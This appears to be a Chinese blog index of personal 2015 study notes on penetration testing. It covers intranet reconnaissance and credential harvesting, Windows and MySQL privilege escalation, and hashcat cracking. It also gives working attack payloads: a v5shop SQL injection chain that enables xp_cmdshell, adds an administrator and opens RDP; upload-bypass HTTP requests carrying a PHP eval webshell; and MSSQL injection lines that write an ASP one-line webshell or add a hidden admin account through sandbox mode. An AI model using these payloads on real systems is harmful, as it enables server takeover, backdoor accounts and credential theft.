内网渗透

2015-7-29 内网渗透-信息收集

2015-7-29 内网渗透-信息收集
怎么发现内网?arp -a 或者 netstat -ano 或者 net view 或者 nslookup baidu.com net view 查看内网情况ifonfig /all [注意看:Primary Dns Suffix ,可能得到一个域xxxx-cc.com,ping一下得到与服务器IP]net config workstation 会显示本机计算机名和管理员用户名,工作站的域DNS名称及登录到的域net localgroup administrators - 查看本机在域里里面的角色net user /domain - 查看域里面的用户net group "domain admins" /domain 信息收集       > 操作系统信息收集           windows: Cain爆注册表,WCE , MIMIkatz,Pwdum7          Linux : /etc/passwd数据库信息收集       >各种web的配置文件中间件       各种中间件的信息浏览器信息收集      1、发现管理员浏览看过的其他内网的IP      2、发现浏览器保存的账号密码和没有过期的Cookie第三方应用       >Rsync           1、配置文件 :/etc/rsyncd.conf       >Openvpn           1、配置文件 :  /etc/ppp/chap-secrets       >ftp           1、配置文件        >SSH           1、su密码记录操作记录    >Linux           >cat .bash_history | more            >cat .mysql_history           >ls -al 寻找.vnc  .ssh等           > last 中间件的日志,系统日志 [last去看,登陆最频繁的IP,如果拿下它,可能会获得一大批服务器的账号密码。]           >SSH信任连接[寻找密钥,配置的无密码登陆文件]    >Windows         >浏览器记录         >最近访问文件敏感文档     .bat、.sh  .bt    .doc   .xls   .conf   .vnc 文件... 继续阅读 »
学习笔记

2015-7-28 提权

2015-7-28 提权
1、系统漏洞提权微软: MS08067 MS: Micosoft的缩写08: 表示年份,即 2008年发布的漏洞067: 表示顺序,即当年发布的第67个漏洞2、如何知道使用哪个EXP?使用systeminfo查看补丁目录,查看补丁记录,判断哪个补丁没打,使用对应的EXP进行提权Windows Linux系统提权 用各种EXP打3、数据库提权原理:启动数据库的账号是高权限账号,使用数据库执行系统命令相当于使用高权限账号使用系统命令,提权也属于权限继承类提权。MYSQL: UDF 提权适用场景:Windows 2000,XP,Win2003能够对数据库表INSERT 和 DELETE权限MYSQL最好默认启动权限是system (Linux默认是mysql用户)UDF 提权方法:1、获取当前MySQL的一个数据库连接信息,通常包含地址、端口、账号、密码、库名等五个信息。2、上传UDF提权用的DLL,并进行数据库连接。3、连接成功后,导出DLL文件。select * from outfile 'aaaa.dll'4、使用SQL语句创建自定义函数 5、通过SQL语句调用创建的函数6、删除函数和dll4. DLL劫持提权  每一个文件在开始运行时都要寻找各种它需要的DLL(动态链接库),来满足程序的功能和需求。但是有一个特性,就是每个EXE运行前都要寻找一个名为LPK.DLL的文件,并执行它。优先搜寻当前目录下的DLL加载,然后再到系统目录下去加载:LPK.dll5. python交互式bash... 继续阅读 »
学习笔记

v5shop四句SQL话搞定服务器权限

v5shop四句SQL话搞定服务器权限
注入点:http://192.168.16.102/weblogin/login.aspx  用户名框v5shop版本:SOMS V8.0(标准版) Powered By v5shop.com }','',''); exec master..sp_configure 'show advanced options',1; RECONFIGURE; exec master..sp_configure 'xp_cmdshell',1; --           //看去xp_cmdshell}','',''); exec master..xp_cmdshell "net user test test /add"  --       //添加用户}','',''); exec master..xp_cmdshell "net localgroup administrators test /add "  --    //将用户添加到管理员组}','',''); exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;  --                       //开启3389... 继续阅读 »
学习笔记

巴西烤肉提权+开2003的3389

巴西烤肉提权+开2003的3389
需要三个文件:1.exe - 巴西烤肉3389.bat - 2003的3389开启bat文件MS11_08.exe - K8的添加管理员工具补丁名:kb952004 CMD路径: C:\Windows\System32\Cmd.exe 加用CMD参数: /c C:\Inetpub\down\upfile\affix\MS11_80.exe    添加用户:k8team - k8team               /c C:\Inetpub\down\upfile\affix\1.exe 2003open3389.bat    - 开3389端口... 继续阅读 »
学习笔记

GPU破解神器Hashcat使用简介

GPU破解神器Hashcat使用简介
  攻击模式-a 0 = Straight   (字典破解)1 = Combination  (组合破解)2 = Toggle-Case3 = Brute-force  (掩码暴力破解)4 = Permutation   (组合破解)5 = Table-Lookup-m 0 =>MD5100 =>SHA1300 = MySQL4.1/MySQL5400 = phpass, MD5(Wordpress), MD5(phpBB3), MD5(Joomla)2500 = WPA/WPA2 - WIFI的密码key1000 = NTLM Windows的Hash1400 = SHA256 使用字典破解MD5:oclHashcat-plus64.exe --hash-type 0 --attack-mode 0 d:md5.txt d:dict1.txt d:dict2.txt参看:http://xiao106347.blog.163.com/blog/static/215992078201451082547241/... 继续阅读 »
学习笔记

上传漏洞练习与记录

上传漏洞练习与记录
1. fck 2.2 htaccess文件攻击访问地址:http://ipaddress/fck/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php上传一个.htaccess 文件,内容:<FilesMatch "ns">SetHandler application/x-httpd-php</FilesMatch>然后上传文件名包括“ns”的文件,就会以php文件解析并执行。2. bluecms文件头检测绕过文件第一行填写:gif89a 抓包:修改Content-Type: 为 image/gif 3. fck 2.6.30x00截断绕过乌云EXP:http://www.wooyun.org/bugs/wooyun-2011-01684POST /fck6/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=a42d.php%00.gif HTTP/1.1 Host: 192.168.16.199 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.16.199/fck6/editor/filemanager/browser/default/frmupload.html Cookie: CNZZDATA3842235=cnzz_eid%3D812147584-1437879170-null%26ntime%3D1437879170; Commerce-UserCookie1101=lv=1999-1-1 0:00:00&mra=07/26/2015 14:17:29; Commerce-UserCookie1100=lv=1999-1-1 0:00:00&mra=07/26/2015 14:22:51; ECS[visit_times]=1; ECS[username]=god; ECS[user_id]=4; ECS[password]=8316a1639d78617a0c777f49836ba366; SLnewses=1; PHPSESSID=8fab4d8b6db945e02bce776ba88bbf50; oIFFygyhwvusername=phpcms; oIFFygyhwvauth=VThRU1MPB15XAglVUVIAXFMCBgJRBQRUBlIBBlEKDwxXBg%3D%3D; oIFFygyhwvcookietime=0 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------5151972426418 Content-Length: 234 -----------------------------5151972426418 Content-Disposition: form-data; name="NewFile"; filename="poc.gif" Content-Type: application/octet-stream GIF89a <?php eval($_POST[a]) ?> -----------------------------5151972426418--注意三点:POST 的地址中用了%00截断.POST数据中 GIF89a用来绕过内容检测.filename 中poc.gif 需要是gif绕过后缀名检测.4. IIS PUT直接GET shell桂林老兵的工具直接写,OPTIONS 请求判断能进行的操作PUT 上传一个txt文件MOVE  到一个asp文件5. fck 2.2 asp版,asa,cer后缀绕过文件上传攻击名单列表绕过:漏洞地址:http://192.168.16.199/fck/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp直接上传asa ,cer 后缀的文件asa后缀:6.... 继续阅读 »
学习笔记

2015-07-26 文件上传漏洞

2015-07-26 文件上传漏洞
介绍     利用上传漏洞可以把ASP,PHP等格式的木马直接上传至网站目录内,一旦上传成功,可以立刻得到WEBSHELL权限一种比注入更有杀伤力的漏洞上传漏洞类型: 无检测直接上传文件IIS PUT上传检测绕过客户端JS绕过MIME类型检测绕过黑名单列表绕过特殊文件名绕过【asa,cer,ashx,cdx,php5等,在Windows中,xx.jpg[空格] 或者xx.jpg.  这两类文件都不允许存在,若这样命名,Windows会自动去除空格或点。在向一台windows主机上传数据时,可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。 】利用%00,或其他的截断绕过利用服务器解析漏洞【IIS: test.asp;1.jpg , test.asp/1.jpg 默认的xx.asa, xx.cer, xx.cdx | Apache:test.php.xxx | Nginx: xx.jpg/1.php】利用.htaccess文件可修改上传文件【后台修改此文件,添加上传类型】编辑器漏洞   各种编辑器,各种版本,二次上传、直接上传、配合解析漏洞上传、截断上传。上传配合解析IIS以asp明明的文件夹下的文件以asp代码执行。(IIS6)分号;截断,导致错误解析test.asp;jpg或test.asp;.jpg(IIS6)IIS6 默认的可执行文件除了 asp 还包含这三种Apacheconf/mime.types保存了已知的文件类型,按照文件的扩展名从后往前的顺序进行解析。test.php.x1.x2.x3Nginx在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。(IIS 7.0/IIS 7.5/Nginx <=0.8.37)... 继续阅读 »
学习笔记

SQL-注入经验

SQL-注入经验
注入经验1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。 4.     猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。 十、几个oracle注入的时候需要注意的地方 1)OracIe注入的时候,union语句的前后类型必须要匹配,要不然会查询不成功。oracle类型常见的有字符类型、数字类型和日期类型等一般我们能用来做union查询并显示的是字符类型和数字类型。前面构造的 union select1,2,3,4,5,6,7,8,9,10,11,1213,14,15,16这个SQL语句的union后面全部是数字类型,而前面肯定有其它类型,所以是不能查询成功的。oracle并不会自己做数据类型转换,但是oracle中可以用NULL匹配所有的数据类型,所以我们等会可以先全部SeIectNULL,然后再逐一检查union之前所select的类型。2)select语句后面必须要跟表名,要不然也不能查询成功。"seIect 1,2,3 这样的语句在SQLServer和MySQL中是可以成功执行的,但在oracIe中必须在后面加上表名.比如 select 1,2,3 fromadmin才行。不过这也不是问题。oracle中有个默认谁都有权限的表 dua .我们可以在select后面加上这个表名。 十一、偏移注射 关于Union偏移注射这个东西,最早貌似是lake2大黑客提出来的,以前一直当他是鸡肋,没去关注过,直到昨天遇到一个mysql4.1的点。表,列都猜出来了,就差数据。因为他的参数是按“,”分割的,所以在注射的时候必须避开逗号,这样一来普通的union就用不成了,想暴力猜解也不行,因为substring也得用到逗号。无奈中想起join语句,偏移注射里面有一个很重要的技巧就是用join语句来控制字段数和数据显示的位置。麻烦的地方在于很多时候你根本不知道目标系统的环境,表里到底有多少列,数据类型什么的,怎么把他拼装到凑齐字段数,只能靠乱猜。目标网站order by 7正常,order by 8无返回,那么一共是7个字段,按照通常的做法,应该是先and 1=2union select1,2,3,4,5,6,7#来看看情况,这里因为要避开逗号,就必须用到join语句。但是不知道用户表一共有几列,没有关系,我们可以用select* from ((select username from users)as a join (select username fromusers)as b ona.username=b.username),把select出部分字段的结果集当做一个表,然后来join到一起,这样只要把(selectusername from users)as a重复7次,就可以把字段补齐。上面的语句在mysql5里面可以正常执行,也可以用到union子句中,可是在mysql4里就报语法错误,看来4.x不支持这么复杂的嵌套。修改了一下:select * from users as a join (select id from users) as b ona.id=b.id这样在4.1里可以正常执行,4.0因为不支持子语句,简单的说就是不支持()里带select,所以就木有办法鸟。但是这样又有问题鸟,因为第一个select后面必须跟*,否则只会返回第一列。Mysql的join语句默认应该是innerjoin,也就是内连接,我尝试换成left join或者rightjoin都不行,我记得mysql4应该是支持左连接和右连接的,搞不懂这里为什么行不通。这么一来又必需猜目标表的字段数了,而且目标表的字段数必需<=语句里select出的字段数才行,也受显示数据字段的制约。好处就是不知道列名也没关系,可以用常数来代替,即select1,2,3,4,5 union select * from users as a join (select 1 from users)as b join (select 1 from users) as c on a.id=1这样就完全避开了“,”,select出来的数据里可能会有很多重复,用distinct关键字过滤掉即可。如果目标表的字段>前面选择的字段也没关系,因为必需保证最前面的字段是*,找一个字段少一点的表,即select* from news as a join (select username from users) asb,不过这个东西受到扫出来的表名,字段数,显示数据字段的制约,比较鸡肋了。以上语句在mysql里测试成功,如果要在access或者mssql里使用,估计得另外调试。这个跟以前提出来那个偏移注射有些区别,也姑且算另外一种意义上的偏移注射吧。核心思想就是不断的join来补齐字段,从而避开。最郁闷的是,最后竟然是用fckeditor搞定shell的,真没技术含量,一下午白研究了-_-刚才在外面骑车的时候,突然想到,之前的语句select * from users as a join (select idfrom users) as b on a.id=b.id前面必须要用到*是因为他并没有把这个select * from usersas a作为一个整体来解析,而是将users as a跟后面的join到一起了,即select * from (users as ajoin (select id from users) as b ona.id=b.id),当然前面要用*,才能返回子语句里所有的列数了。那么改写成select distinct * from (select 1 from users)as a join(select 2 from users)asb即可,然后依次像后面join补齐字段,最后把合适的地方换成用户名密码字段即可。mysql4.1下测试成功,当然还是需要知道列名,呵呵 十二、猜出绝对路径进行差异备份 MSSQL数据库,还可以猜解网站存放在服务器中的根目录,通过差异备份备份出一句话,然后通过一句话木马客户端,上传脚本木马如果一个网站注入点是MYSQL数据库,且是DB权限,或者是SA权限,能够列目录,那么就好办了,找到网站的目录,目录通常在D和E盘,备份个小马,上地址访问看看成功没,直接备份大马貌似不行,成功后,再输入大马内容 十三、通过注入点判断服务器的硬盘(分区)是否有访问权 http://www.fun***.com/user/wmadown.asp?id=48187,这个是注入点了的。现在我们用SQL查询语句试试,C盘是否有访问权限。 语句是: and (select count(*) fromc:\autoexec.bat.c)>0  解释一下原理,其它AC数据库也是可以跨库查询。只要把 from 后的表名改成MDB数据库的硬盘绝对地址,后台加上个“.”,接上要查的表名。例如,我要查D盘yqf.mdb中的ADMIN表: and (select count(*) from d:\yqf.mdb.admin)>0这样的语句,只要知道服务器硬盘其它数据库地址,ACCESS也能跨库查询。只是不知道地址,所以这个无关紧要。 and (select count(*) fromc:\autoexec.bat.c)>0 为什么说用这句可以判断是否有硬盘访问权限呢?大家都知道c:\autoexec.bat 是系统里自有的文件无论哪个系统都有,而大家默认安装WINDOWS也是装在C盘,如果这样找不到文件的话,你可以试试其它盘。 现在我们提交: and (select count(*) fromc:\autoexec.bat.c)>0 看到吧“不可识别的数据库格式'c:\AUTOEXEC.BAT'”报错信息,这样表示C盘有访问的权限。因为读到了AUTOEXEC.BAT把autoexec.bat当mdb数据库来处理了,所以就出现这样的错误提示。 现在我们用刚传的马去看看,呵,C盘有访问的权限吧。反之,如果没有访问权限,则会提示“c:\autoexec.bat已被另一种方式打开,或者无权访问。”类似这样的提示,就是无权限访问了。 不过 autoexec.bat 可以测试,比如c:\winnt\system32\cmd.exe,这些系统原有的文件都可以用来试。 十四、sa下的注入提权 虽说这年头讨论注射已经有点过时了,何况还是sa,但是在遇到我这种情况时,怕只有对injection研究高深的人才能突破吧...本文讨论仍然是sql_server &Win32下的环境是的,网络上已经发布了不少对于存储扩展应用的文档,但大部分是转载的,真正的原理少只又少比如xp_subdirs 是如何获取目录的,是cracert tables 然后select反馈?比如xp_cmdshell 是如何执行cmdshell的 dbo下的system继承?比如sandboxmode下的net user是如何执行的,vbs调用的Shell()?等等等等~~sa的注射搞不下服务器真有点丢人,前提继承的是system :) ,至于其他牛角尖的环境就留给那些提问者吧好了,说说一些特殊的环境吧我们知道,各扩展存储都有调用他们对应的dll文件,例如: sp_OACreate调用odsole70.dllxp_Cmdshell调用xplog70.dllOK,进入正题:情况1:dll文件被替换(因为dll是存储在sqlserver指定路径中的),比如sp_Oacreate被替换成xpweb70.dll如何测试这种情况呢?可以exec sp_oraceate 'xxxxxxx'提示:找不到sp_oraceate,对应的xx.dll没有此函数之类的解决方法:exec sp_dropextendedproc 'Sp_OACreate'EXEC sp_addextendedproc Sp_OACreate ,@dllname ='上传dll'情况2:xp_cmdhshell 或oacreate 无法利用时,采用sandboxmode(沙盒模式)沙盒模式是通过access创建vbs 函数来执行shell的具体语法就不说了前提是要能执行xp_regwrite 开启它但这个利用方法有个局限性,它并不是通过cmd 来调用文件执行的,一般情况下是cmd.exe /c net user这样,而他是net user 为什么呢? 这么理解吧 shell 'c:\windows\system32\net.exeuser'这样明白了吧,他只支持system32下的文件调用而一般的dir ,echo,copy...等等都无法直接利用 可以尝试cmd /c dir..... 这样调用由此引发情况3:cmd,net被禁或更改,这是比较纳闷的问题,而且国内似乎也没有相关的解决办法回到情况二,如上所述sandboxmode能调用system32下的文件,别忘记了有个cacls,有了它,那么网站的权限配置几乎为0了(再次强调,此法必须继承system权限,并且cmdshell等无法利用的情况下)测试方法:Select * FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("cacls c:\windows\system32\cmd.exe /t /e /c /g system:F")');赋予cmd.exe的system用户所有权限如果cmd被删或者net.exe,net1.exe被禁也可calcs c:\windows\system32\net.exe/t /e /c /g system:f相比而言sandboxmode的局限性比较小,只需要可以使用xp_regwrite 开启而一般站点管理员对xp_regwrite的安全配置会比较马虎xp_regwrite被删时,可EXEC sp_addextendedprocxp_regwrite,'xpstar.dll'恢复本文讨论的只是sqlserver 注射下的冰山一角,当是抛砖引玉吧~十五、更高级的union select,跨库查询 这里说的是ACCESS的跨库,原文地址:http://www.4ngel.net/article/46.htm 十六、SQL注射及提权经验 MSSQL数据库:1:SA权限一般说来,无论谁拿到一个SA权限的注射点。都会很开心。<1>直接执行net user等命令。<2>可列目录但不能执行系统命令。可以列出目录找出网站中可以利用的地方,比如ewebeditor,或者上传地址(试试是否有上传漏洞),等等。或者找服务器下其他网站,然后入侵之。如果无其他漏洞可以找到,那就利用备份得到一个webshell。<3>无cmdshell那就恢复之。详细请参考http://www.hacker.com.cn/forum/view_118677.html;   中的6楼<4>如果无法恢复cmdshellhttp://forum.eviloctal.com/viewthread.php?tid=31487&highlight=sa可以参考下这篇文章。也就是利用的sp_oacreate来执行。可以通过5次shift来登陆3389还可以利用sp_makewebtask直接在web目录里写入一句话马http://127.0.0.1/sql.asp?id=1';exec%20sp_makewebtask%20'd:\www\xxx.asp','%20select%20''<%25execute(request("a"))%25>''%20';--还可以利用沙盒模式提权EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("net user aloner$ aloner /add")');--;Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell("net localgroup administrators aloner$ /add")');--如果上述方法仍然不行,那就猜解出后台帐户和密码,然后登陆后台。看看有没什么可以利用的。2:db权限Db权限可以列出网站目录,然后备份。用一句话连接得到webshell.如果可以列目录,但无法备份,也同样可以利用找其他漏洞来入侵。毕竟整个网站都可以被你浏览了。然后就是猜解出后台帐户和密码登陆后台了。还有一种就是关于一篇db权限备份到启动项得到系统权限。可以参考下这篇文章http://www.hacker.com.cn/article/view_13207.htmlpublic权限此权限很多人不会利用。但是可以列出目录的。具体参考这篇文章http://www.hacker.com.cn/forum/view_118677.html第10楼。Mysql数据库:Root权限下可以直接利用loadfile读取网站的文件内容(网站的配置信息) ... 继续阅读 »
学习笔记

渗透时Cmd下挖掘有用信息

渗透时Cmd下挖掘有用信息
拿到shell后,运气好高权限可以执行任何命令,好好利用命令挖掘有用的信息,对扩大渗透战果有很大意义的。下面是记录的命令:从当前目录开始递归搜索 文件名中包含指定字符串的文件:dir /s *php*D:\>dir /s *php*  驱动器 D 中的卷没有标签。  卷的序列号是 0004-52B1  D:\ 的目录 2015/07/20  07:35    <DIR>          phpStudy 2015/07/20  07:28        37,050,416 phpStudy-x64 (1).zip                1 个文件     37,050,416 字节同样:dir /s *.confdir /s *vnc*... 继续阅读 »
学习笔记

2015-7-22 代码审计笔记

2015-7-22 代码审计笔记
1、审计过程配置分析环境 ==>  熟悉业务流程 ==> 分析程序架构 ==> 工具自动化分析 ==> 人工代码审计 ==> 整理测试报告 2. username被传入json_str_iconv()函数,判断如果不是utf-8编码就转换。... 继续阅读 »